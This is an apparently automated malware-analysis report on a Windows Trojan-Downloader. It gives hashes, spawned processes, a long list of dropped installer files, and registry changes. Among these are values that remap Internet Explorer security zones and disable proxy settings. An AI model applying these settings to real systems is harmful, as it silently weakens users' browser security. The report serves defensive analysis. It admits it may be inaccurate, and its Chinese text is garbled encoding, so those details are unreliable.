Trojan-Downloader.Win32.Agent.hfnz (Kaspersky), Trojan.GenericKD.2312580 (B) (Emsisoft), Trojan.GenericKD.2312580 (AdAware), Trojan.Win32.BHO.FD, Trojan.Win32.IEDummy.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan-Downloader, Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: b1ac51a5a779001bbce64481e44ad086
SHA1: 597595dac3b7d7c1d962ad16dc228a66d02c797d
SHA256: e95bd5bfea1509740b13ab4bd083e5c00ba4807d38b1eb5f1c9cef5d437534a3
SSDeep: 24576:5vAkpgPiqUPWq3uWXQhVONmXO1P3PWBx:5lGN WSFQqmXORs
Size: 1339392 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171, UPolyXv05_v6
Company: no certificate found
Created at: 2015-04-19 14:43:20
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
ResideClient.exe:652
net1.exe:604
ServiceClient.exe:704
net.exe:516
pingguo.exe:304
ServiceClient.e:548
%original file name%.exe:2040
girlshow_22000025816.exe:2024
The Trojan injects its code into the following process(es):No processes have been created.
Mutexes
The following mutexes were created/opened:
UCä¯ÀÀÆ÷ÃÀÅ®ÃÂãShimCacheMutexZonesLockedCacheCounterMutexZonesCounterMutexZonesCacheCounterMutexRasPbFileWininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_iylkh
File activity
The process ResideClient.exe:652 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\All Users\Application Data\GuaGua\Service\service.dat (23 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak (96 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1060 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@guagua[1].txt (194 bytes)
%WinDir%\msgpi.log (48 bytes)
%WinDir%\gsyspd.log (96 bytes)
The process pingguo.exe:304 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Program Files%\pingguo55\avutil-52.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\Config.ini (51 bytes)
%Program Files%\pingguo55\RecommendInfo.dll (5064 bytes)
%Program Files%\pingguo55\UIToolTip.dll (5520 bytes)
%Program Files%\pingguo55\ChatRoom\CapSreen.dll (1856 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E6666.png (8184 bytes)
%Program Files%\pingguo55\ResideClient.exe (9608 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\3.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\data\QueenLeave.wav (16424 bytes)
%Program Files%\pingguo55\RtpStack.DLL (8184 bytes)
%Program Files%\pingguo55\ServiceClient.exe (4992 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBack.bmp (6360 bytes)
%Program Files%\pingguo55\MFC71u.dll (33391 bytes)
%Program Files%\pingguo55\data\HTML\img\wrong.gif (995 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\goodscat.dat (11 bytes)
%Program Files%\pingguo55\GGOle.dll (2392 bytes)
%Program Files%\pingguo55\IconToolTip.exe (11048 bytes)
%Program Files%\pingguo55\ServiceClient.dll (3616 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\rescate.dat (2 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBack_4_3.bmp (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\heaven_bk.gif (7192 bytes)
%Program Files%\pingguo55\ChatRoom\UIToolTip.dll (17848 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\images\bj_2.jpg (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\GGExit.exe (1856 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E521.swf (784 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\EquipFile.dat (784 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\css\style.css (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\GiftWizzard_small.swf (5064 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\dice.gif (7 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoodscat.dat (2 bytes)
%Program Files%\pingguo55\data\quickSign.swf (2392 bytes)
%Program Files%\pingguo55\ChatRoom\data\6.gif (14 bytes)
%Program Files%\pingguo55\ChatRoom\data\AudioEffect1.WAV (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\4.gif (12 bytes)
%Program Files%\pingguo55\ChatRoom\data\10.gif (784 bytes)
%Program Files%\pingguo55\VideoCapture.dll (6360 bytes)
%WinDir%\gsyspd.log (96 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_op.gif (1 bytes)
%Program Files%\pingguo55\Update.exe (9608 bytes)
%Program Files%\pingguo55\data\IllWord.dat (3 bytes)
%Program Files%\pingguo55\data\LgsDatacfg.dat (128 bytes)
%Program Files%\pingguo55\ChatRoom\data\FlowerData.dat (13 bytes)
%Program Files%\pingguo55\data\HTML\img\cc.png (2 bytes)
%Program Files%\pingguo55\uninst.exe (5659 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\goods.dat (30968 bytes)
%Program Files%\pingguo55\data\HTML\img\signloading_top.jpg (7 bytes)
%Program Files%\pingguo55\AudioCapture.dll (4992 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E188.png (6584 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E999.png (11048 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\1.png (4 bytes)
%Program Files%\pingguo55\Skin\DefFace.bmp (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\System.dll (10 bytes)
%Program Files%\pingguo55\ChatRoom\skin\gift_sel_icon.png (1 bytes)
%Program Files%\pingguo55\data\HTML\img\liebiao_di_on.gif (1 bytes)
%Program Files%\pingguo55\ImageScale.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\11.gif (1552 bytes)
%Program Files%\pingguo55\Æ»¹ûÊÓÆµÉçÇø.url (50 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\ResFile.dat (2392 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_cl.gif (1 bytes)
%Program Files%\pingguo55\gdiplus.dll (49631 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_op.png (3 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\6.png (6 bytes)
%Program Files%\pingguo55\ChatRoom\data\LuckyGift500.swf (5520 bytes)
%Program Files%\pingguo55\ChatRoom\data\2.gif (13 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E9999.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E99.swf (784 bytes)
%Program Files%\pingguo55\msvcr71.dll (12088 bytes)
%Program Files%\pingguo55\Skin\Alarm.png (4 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E6666.swf (784 bytes)
%Program Files%\pingguo55\data\HTML\img\right.gif (540 bytes)
%Program Files%\pingguo55\VideoDecode2.dll (32824 bytes)
%Program Files%\pingguo55\data\HTML\img\button_left.gif (1 bytes)
%Program Files%\pingguo55\data\HTML\js\EvPng.js (8 bytes)
%Program Files%\pingguo55\Skin\MercuryEquipCenterSkin.ggs (15168 bytes)
%Program Files%\pingguo55\msvcp71.dll (16944 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E999.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\data\HitEggs.swf (42762 bytes)
%Program Files%\pingguo55\ChatRoom\VolumeCtrl.dll (5520 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak (96 bytes)
%Program Files%\pingguo55\AudioDecodec3.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\0.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\skin\Alarm.png (4 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoods.dat (23296 bytes)
%Program Files%\pingguo55\Skin\DefFace_21.bmp (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\SignButton.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\skin\DefFace.bmp (3 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E9999.swf (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\5.gif (13 bytes)
%Program Files%\pingguo55\VideoEncode2.dll (19152 bytes)
%Program Files%\pingguo55\ChatRoom\skin\PointToPoint.bmp (8560 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E99.png (3312 bytes)
%Program Files%\pingguo55\ChatRoom\VcrMediaLib.dll (11048 bytes)
%WinDir%\msgpi.log (48 bytes)
%Program Files%\pingguo55\Skin\MercuryUpdateSkin.ggs (10 bytes)
%Program Files%\pingguo55\ChatRoom\data\bigred.swf (6584 bytes)
%Program Files%\pingguo55\GGPlayerInstaller.exe (1552 bytes)
%Program Files%\pingguo55\ChatRoom\data\GiftWizzard_big.swf (5520 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\fingerguessing.gif (7 bytes)
%Program Files%\pingguo55\Skin\default_female.png (15 bytes)
%Program Files%\pingguo55\Skin\MercuryChatHallSkin.ggs (247423 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\images\jx_sm.gif (381 bytes)
%Program Files%\pingguo55\ChatRoom\skin\MercuryChatRoom.ggs (147801 bytes)
%Program Files%\pingguo55\ggplayerDownload.ini (63 bytes)
%Program Files%\pingguo55\data\Update.dat (81 bytes)
%Program Files%\pingguo55\Skin\VideoBack.bmp (6360 bytes)
%Program Files%\pingguo55\ChatRoom\skin\worldBugleIcon.gif (784 bytes)
%Program Files%\pingguo55\data\CommonConfig.ini (458 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\flash.swf (3616 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E9999.png (12024 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBackMercury.bmp (2392 bytes)
%Program Files%\pingguo55\data\HTML\img\liebiao_di.gif (1 bytes)
%Program Files%\pingguo55\ChatRoom\skin\gift_del_icon.png (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\2.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\data\QueenEnter.wav (21216 bytes)
%Program Files%\pingguo55\data\HTML\css\news.css (2 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\res.dat (3312 bytes)
%Program Files%\pingguo55\EncWmv.dll (8184 bytes)
%Program Files%\pingguo55\data\HTML\img\signloading_main.jpg (784 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E999.swf (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\7.gif (15 bytes)
%Program Files%\pingguo55\Pingguo55.exe (71670 bytes)
%Program Files%\pingguo55\ChatRoom\data\KingLeave.wav (19152 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\jz_bbx.html (450 bytes)
%Program Files%\pingguo55\ChatRoom\skin\PrivteMic.bmp (4992 bytes)
%Program Files%\pingguo55\data\common.dat (24 bytes)
%Program Files%\pingguo55\data\HTML\img\aa.png (3 bytes)
%Program Files%\pingguo55\ChatRoom\ChatRoomClient.dll (10136 bytes)
%Documents and Settings%\%current user%\Desktop\Æ»¹ûÊÓÆµÉçÇø.lnk (762 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E99.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\ChatRoomUI.dll (72992 bytes)
%Program Files%\pingguo55\data\HTML\img\button.png (3 bytes)
%Program Files%\pingguo55\ChatRoomUI.ocx (1552 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹ûÊÓÆµÉçÇø\öÃâ€ÂØÆ»¹ûÊÓÆµÉçÇø.lnk (581 bytes)
%Program Files%\pingguo55\ChatRoom\data\3.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E521.xml (2 bytes)
%Program Files%\pingguo55\ChatRoom\data\fingerGuessing\1.png (5 bytes)
%Program Files%\pingguo55\data\Spread.dat (112 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹ûÊÓÆµÉçÇø\Æ»¹ûÊÓÆµÉçÇø.lnk (774 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E521.png (6584 bytes)
%Program Files%\pingguo55\data\HTML\signloading.html (1 bytes)
%Program Files%\pingguo55\data\HTML\img\no_pic.jpg (1552 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\resfileinfo.dat (16288 bytes)
%Program Files%\pingguo55\data\HTML\img\bb.png (2 bytes)
%Program Files%\pingguo55\Skin\default_male.png (15 bytes)
%Program Files%\pingguo55\ChatRoom\data\smallred.swf (5064 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E188.xml (1 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\5.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\4.png (5 bytes)
%Program Files%\pingguo55\ChatRoom\skin\VideoBack_16_9.bmp (8560 bytes)
%Program Files%\pingguo55\data\FlowerData.dat (13 bytes)
%Program Files%\pingguo55\DnsSession.dll (8560 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb2.tmp (918876 bytes)
%Program Files%\pingguo55\ChatRoom\data\1.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\dice\2.png (4 bytes)
%Program Files%\pingguo55\ResCenter.dll (5520 bytes)
%Program Files%\pingguo55\ChatRoom\data\QuickRegBorder.swf (1 bytes)
%Program Files%\pingguo55\crashreport.dll (8560 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E1314.png (8560 bytes)
%Program Files%\pingguo55\ChatRoom\data\8.gif (2392 bytes)
%Program Files%\pingguo55\ChatRoom\data\9.gif (784 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E6666.xml (2 bytes)
%Program Files%\pingguo55\Install.ini (287 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E188.swf (784 bytes)
%Program Files%\pingguo55\AudioCodec3.dll (10136 bytes)
%Program Files%\pingguo55\Config.ini (67 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E1314.swf (784 bytes)
%Program Files%\pingguo55\ChatRoom\data\GiftPack.swf (784 bytes)
%Program Files%\pingguo55\data\HTML\img\freeze.gif (615 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\FlashShow.exe (5520 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\resillegalword.dat (920 bytes)
%Program Files%\pingguo55\ChatRoom\data\KingEnter.wav (25824 bytes)
%Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoodsfileinfo.dat (23424 bytes)
%Program Files%\pingguo55\EquipCenter.dll (23424 bytes)
%Program Files%\pingguo55\data\HTML\img\lock_cl.png (3 bytes)
%Program Files%\pingguo55\data\addrs.dat (784 bytes)
%Program Files%\pingguo55\ChatRoom\skin\runway_gift.gif (4 bytes)
%Program Files%\pingguo55\Skin\DefSendedStarGift.gif (1 bytes)
%Program Files%\pingguo55\Skin\LoadHtml\images\jz_icon.gif (821 bytes)
%Program Files%\pingguo55\data\HTML\img\close.gif (395 bytes)
%Program Files%\pingguo55\ChatRoom\Flash\E1314.xml (2 bytes)
%Program Files%\pingguo55\Skin\DefFace_16.bmp (824 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\GGExit.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw1.tmp (0 bytes)
The process %original file name%.exe:2040 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Cookies\Current_User@re58[1].txt (604 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\z.ico (3 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (2892 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@re58[2].txt (277 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe (28288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\girlshow_22000025816.exe (33391 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Cookies\Current_User@re58[2].txt (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@re58[1].txt (0 bytes)
The process girlshow_22000025816.exe:2024 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Program Files%\pingguo55\Install\pingguo.exe.ggd (471123 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (1060 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@pingguo55[1].txt (200 bytes)
%Program Files%\pingguo55\Install\pingguo.exe.ggb (905907 bytes)
The Trojan deletes the following file(s):
%Program Files%\pingguo55\Install\pingguo.exe.ggb (0 bytes)
Registry activity
The process ResideClient.exe:652 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKLM\SOFTWARE\BaDu\Pcd]
"pcode" = "3B 0D E3 B9 9F FE 68 76 1B A6 EA 72 14 02 E3 A1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PICheck]
"PS0" = "85 1D DA 38 19 9C B3 A7 66 80 65 5F CC FC 05 D4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\G2Pd]
"PD" = "71 58 C5 1D 3B C6 20 AC 27 CD 4E 34 A3 97 32 08"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "54 E3 F4 95 EC DA 0D 59 A6 F3 97 21 B4 96 12 87"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process net1.exe:604 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "60 C2 9E 3F 01 BF 63 B6 16 0C 9C 39 91 FD 33 BB"
The process ServiceClient.exe:704 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FD 91 F4 8A 44 2F 16 72 47 EE 44 E6 7A 0C E8 D1"
The process net.exe:516 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "97 A2 76 B7 E8 E1 64 BA 93 B8 79 35 99 8F 4E 48"
The process pingguo.exe:304 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\TypeLib]
"(Default)" = "{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓÆµÉçÇø-2014Beta3.6.2]
"Publisher" = "½ð»ª³¤·çÃÂÂÅâ¼¼ÊõÓÃÂÂÃÂÂÞ¹«Ë¾"
[HKCR\Interface\{C43891FE-B7B4-4C2F-BC88-BE5D5E6A2A5F}\TypeLib]
"Version" = "1.0"
"(Default)" = "{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}"
[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\ProgID]
"(Default)" = "Pingguo55.ChatRoomOcx.1"
[HKCR\Pingguo55.ChatRoomOcx.1\CLSID]
"(Default)" = "{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}"
[HKCR\Pingguo55.ChatRoomOcx.1]
"(Default)" = "ChatRoomOcx Control"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓÆµÉçÇø-2014Beta3.6.2]
"DisplayName" = "Æ»¹ûÊÓÆµÉçÇø 2014Beta3.6.2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCR\CLSID\{59761AC4-690A-4D51-8B30-5A4171430329}]
"(Default)" = "ChatRoomOcx Property Page"
[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\pingguo55.exe]
"pingguo55Path" = "%Program Files%\pingguo55"
[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}]
"(Default)" = "_DChatRoomOcx"
[HKCR\Component Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4}]
"409" = "Controls that are safely scriptable"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\Version]
"(Default)" = "3.0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCR\CLSID\{59761AC4-690A-4D51-8B30-5A4171430329}\InprocServer32]
"(Default)" = "C:\PROGRA~1\PINGGU~1\CHATRO~1.OCX"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCR\TypeLib\{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}\1.0]
"(Default)" = "ChatRoomOcx ActiveX ¿Ø¼þÄ£¿é"
[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}]
"(Default)" = "ChatRoomOcx Control"
[HKCR\TypeLib\{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}\1.0\HELPDIR]
"(Default)" = "%Program Files%\pingguo55"
[HKCR\Component Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4}]
"409" = "Controls safely initializable from persistent data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}\ProxyStubClsid]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"
[HKCR\TypeLib\{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}\1.0\FLAGS]
"(Default)" = "2"
[HKCR\Interface\{C43891FE-B7B4-4C2F-BC88-BE5D5E6A2A5F}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"
[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\InprocServer32]
"ThreadingModel" = "Apartment"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓÆµÉçÇø-2014Beta3.6.2]
"DisplayIcon" = "%Program Files%\pingguo55\pingguo55.exe"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCR\Interface\{C43891FE-B7B4-4C2F-BC88-BE5D5E6A2A5F}]
"(Default)" = "_DChatRoomOcxEvents"
[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\ToolboxBitmap32]
"(Default)" = "C:\PROGRA~1\PINGGU~1\CHATRO~1.OCX, 1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}\TypeLib]
"Version" = "1.0"
[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\Control]
"(Default)" = ""
[HKCR\Interface\{95BF58C6-C938-4A7A-AE34-6D36B80206A6}\TypeLib]
"(Default)" = "{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}"
[HKCR\pingguo55room\shell\open\command]
"(Default)" = "%Program Files%\pingguo55\pingguo55.exe %1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PICheck]
"PS0" = "E2 ED D7 4B 92 85 DE 22 54 CF 61 24 9A 63 E7 61"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"
[HKLM\SOFTWARE\G2Pd]
"PD" = "8B B7 9C D6 61 46 3C 66 31 19 F3 37 F2 9F E2 59"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓÆµÉçÇø-2014Beta3.6.2]
"DisplayVersion" = "2014Beta3.6.2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "28 44 7E 9B C1 F0 DB 2F 64 15 BE BF DF 50 BB 78"
[HKCR\pingguo55room]
"URL Protocol" = "%Program Files%\pingguo55\pingguo55.exe"
[HKCR\TypeLib\{77302DCF-FDDB-4A9B-90D7-213FD73A97B9}\1.0\0\win32]
"(Default)" = "%Program Files%\pingguo55\ChatRoomUI.ocx"
